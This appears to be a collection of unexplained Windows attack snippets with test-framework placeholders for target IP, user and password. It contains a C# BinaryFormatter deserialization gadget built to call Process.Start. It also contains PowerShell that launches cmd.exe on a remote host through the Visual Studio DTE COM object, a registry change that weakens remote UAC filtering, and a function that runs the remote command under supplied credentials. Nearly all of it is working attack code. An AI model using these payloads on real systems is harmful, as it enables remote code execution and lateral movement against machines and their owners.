start <sessionID> [/attach:<pid>[;<pid>;...]] [/launch:<executable> /launchArgs:<executableArgs>] [/loadAgent:<agentCLSID>;<agentName>[;<config>]] [/loadConfig:<configFile>] [/monitor] [/scratchLocation:<folderName>] [/package:[opt | dir]] [/symbolCachePath:<folderName>]
      Start a collection session
      
stop <sessionID> /output:<fileName>
      Stop a collection session
      
status <sessionID>
      Display the status of a collection session

Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add(cmdFileName);
if (!string.IsNullOrEmpty(cmdArguments))
{
    set.Add(cmdArguments);
}
else
{
    set.Add("");
}
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);
MemoryStream stream = new MemoryStream();
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter fmt = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter();
fmt.Serialize(stream, set);
string b64encoded = Convert.ToBase64String(stream.ToArray());
string payload_bf_json = @"[
    {
        'Id': 1,
        'Data': {
            '$type': 'SerializationHeaderRecord',
            'binaryFormatterMajorVersion': 1,
            'binaryFormatterMinorVersion': 0,
            'binaryHeaderEnum': 0,
            'topId': 1,
            'headerId': -1,
            'majorVersion': 1,
            'minorVersion': 0
        }
    }, {
        'Id': 2,
        'TypeName': 'ObjectWithMapTyped',
        'Data': {
            '$type': 'BinaryObjectWithMapTyped',
            'binaryHeaderEnum': 4,
            'objectId': 1,
            'name': 'System.Security.Claims.ClaimsPrincipal',
            'numMembers': 1,
            'memberNames': ['m_serializedClaimsIdentities'],
            'binaryTypeEnumA': [1],
            'typeInformationA': [null],
            'typeInformationB': [null],
            'memberAssemIds': [0],
            'assemId': 0
        }
    }, {
        'Id': 10,
        'TypeName': 'ObjectString',
        'Data': {
            '$type': 'BinaryObjectString',
            'objectId': 5,
            'value': '" + b64encoded + @"'
        }
    }, {
        'Id': 11,
        'TypeName': 'MessageEnd',
        'Data': {
            '$type': 'MessageEnd'
        }
    }
]";
MemoryStream ms = AdvancedBinaryFormatterParser.JsonToStream(payload_bf_json);
return ms.ToArray();

Computer\HKEY_CLASSES_ROOT\VisualStudio.DTE

$com = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("33ABD590-0400-4FEF-AF98-5F5A8A99CFC3","#{DST_IP_ADDR}"))

Name                   MemberType            Definition
----                   ----------            ----------
ExecuteCommand         Method                void ExecuteCommand (string, string)
GetObject              Method                IDispatch GetObject (string)
LaunchWizard           Method                wizardResult LaunchWizard (string, SAFEARRAY(Variant))
OpenFile               Method                Window OpenFile (string, string)
Quit                   Method                void Quit ()
SatelliteDllPath       Method                string SatelliteDllPath (string, string)
IsOpenFile             ParameterizedProperty bool IsOpenFile (string, string) {get}
Properties             ParameterizedProperty Properties Properties (string, string) {get}
ActiveDocument         Property              Document ActiveDocument () {get}
ActiveSolutionProjects Property              Variant ActiveSolutionProjects () {get}
ActiveWindow           Property              Window ActiveWindow () {get}
AddIns                 Property              AddIns AddIns () {get}
Application            Property              DTE Application () {get}
CommandBars            Property              IDispatch CommandBars () {get}
CommandLineArguments   Property              string CommandLineArguments () {get}
Commands               Property              Commands Commands () {get}
ContextAttributes      Property              ContextAttributes ContextAttributes () {get}
Debugger               Property              Debugger Debugger () {get}
DisplayMode            Property              vsDisplay DisplayMode () {get} {set}
Documents              Property              Documents Documents () {get}
DTE                    Property              DTE DTE () {get}
Edition                Property              string Edition () {get}
Events                 Property              Events Events () {get}
FileName               Property              string FileName () {get}
Find                   Property              Find Find () {get}
FullName               Property              string FullName () {get}
Globals                Property              Globals Globals () {get}
ItemOperations         Property              ItemOperations ItemOperations () {get}
LocaleID               Property              int LocaleID () {get}
Macros                 Property              Macros Macros () {get}
MacrosIDE              Property              DTE MacrosIDE () {get}
MainWindow             Property              Window MainWindow () {get}
Mode                   Property              vsIDEMode Mode () {get}
Name                   Property              string Name () {get}
ObjectExtenders        Property              ObjectExtenders ObjectExtenders () {get}
RegistryRoot           Property              string RegistryRoot () {get}
SelectedItems          Property              SelectedItems SelectedItems () {get}
Solution               Property              Solution Solution () {get}
SourceControl          Property              SourceControl SourceControl () {get}
StatusBar              Property              StatusBar StatusBar () {get}
SuppressUI             Property              bool SuppressUI () {get} {set}
UndoContext            Property              UndoContext UndoContext () {get}
UserControl            Property              bool UserControl () {get} {set}
Version                Property              string Version () {get}
WindowConfigurations   Property              WindowConfigurations WindowConfigurations () {get}
Windows                Property              Windows Windows () {get}

$com.ExecuteCommand("Tools.Shell", "cmd.exe")

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

function Start-ProcessAsUser {
    [CmdletBinding()]
    Param (
        [Parameter(Mandatory = $True, Position = 0)]
        [ValidateNotNullOrEmpty()]
        [String]
        $Domain,
        [Parameter(Mandatory = $True, Position = 1)]
        [ValidateNotNullOrEmpty()]
        [String]
        $Username,
        [Parameter(Mandatory = $True, Position = 2)]
        [String]
        $Password,
        [Parameter(Mandatory = $True, Position = 3)]
        [String]
        $Cmd,
        [Parameter(Mandatory = $False)]
        [Switch]
        $NetOnly
    )
    $SystemModule = [Microsoft.Win32.IntranetZoneCredentialPolicy].Module
    $NativeMethods = $SystemModule.GetType('Microsoft.Win32.NativeMethods')
    $SafeNativeMethods = $SystemModule.GetType('Microsoft.Win32.SafeNativeMethods')
    $CreateProcessWithLogonW = $NativeMethods.GetMethod('CreateProcessWithLogonW', [Reflection.BindingFlags] 'NonPublic, Static')
    $LogonFlags = $NativeMethods.GetNestedType('LogonFlags', [Reflection.BindingFlags] 'NonPublic')
    $StartupInfo = $NativeMethods.GetNestedType('STARTUPINFO', [Reflection.BindingFlags] 'NonPublic')
    $ProcessInformation = $SafeNativeMethods.GetNestedType('PROCESS_INFORMATION', [Reflection.BindingFlags] 'NonPublic')
    $Flags = [Activator]::CreateInstance($LogonFlags)
    if($NetOnly) {
        $Flags.value__ = 2 # LOGON_NETCREDENTIALS_ONLY
    } else {
        $Flags.value__ = 0
    }
    $StartInfo = [Activator]::CreateInstance($StartupInfo)
    $ProcInfo = [Activator]::CreateInstance($ProcessInformation)
    $PasswordStr = ConvertTo-SecureString $Password -AsPlainText -Force
    $PasswordPtr = [System.Runtime.InteropServices.Marshal]::SecureStringToCoTaskMemUnicode($PasswordStr)
    $StrBuilder = New-Object System.Text.StringBuilder
    $null = $StrBuilder.Append($Cmd)
    $Result = $CreateProcessWithLogonW.Invoke($null, @([String] $UserName,
                                             [String] $Domain,
                                             [IntPtr] $PasswordPtr,
                                             ($Flags -as $LogonFlags),     # LOGON_NETCREDENTIALS_ONLY
                                             $null,
                                             [Text.StringBuilder] $StrBuilder,
                                             0x08000000, # Don't display a window
                                             $null,
                                             $null,
                                             $StartInfo,
                                             $ProcInfo))
    if (-not $Result) {
        throw 'Unable to create process as user.'
    }
    Write-Verbose 'Process created successfully!'
}

Start-ProcessAsUser -Username '#{USERNAME}' -Password '#{PASSWORD}' -Cmd "powershell -Command & {[System.Activator]::CreateInstance([type]::GetTypeFromCLSID('33ABD590-0400-4FEF-AF98-5F5A8A99CFC3','#{DST_IP_ADDR}')).ExecuteCommand('Tools.Shell', 'cmd.exe')}" -Domain '#{DOMAIN}' -NetOnly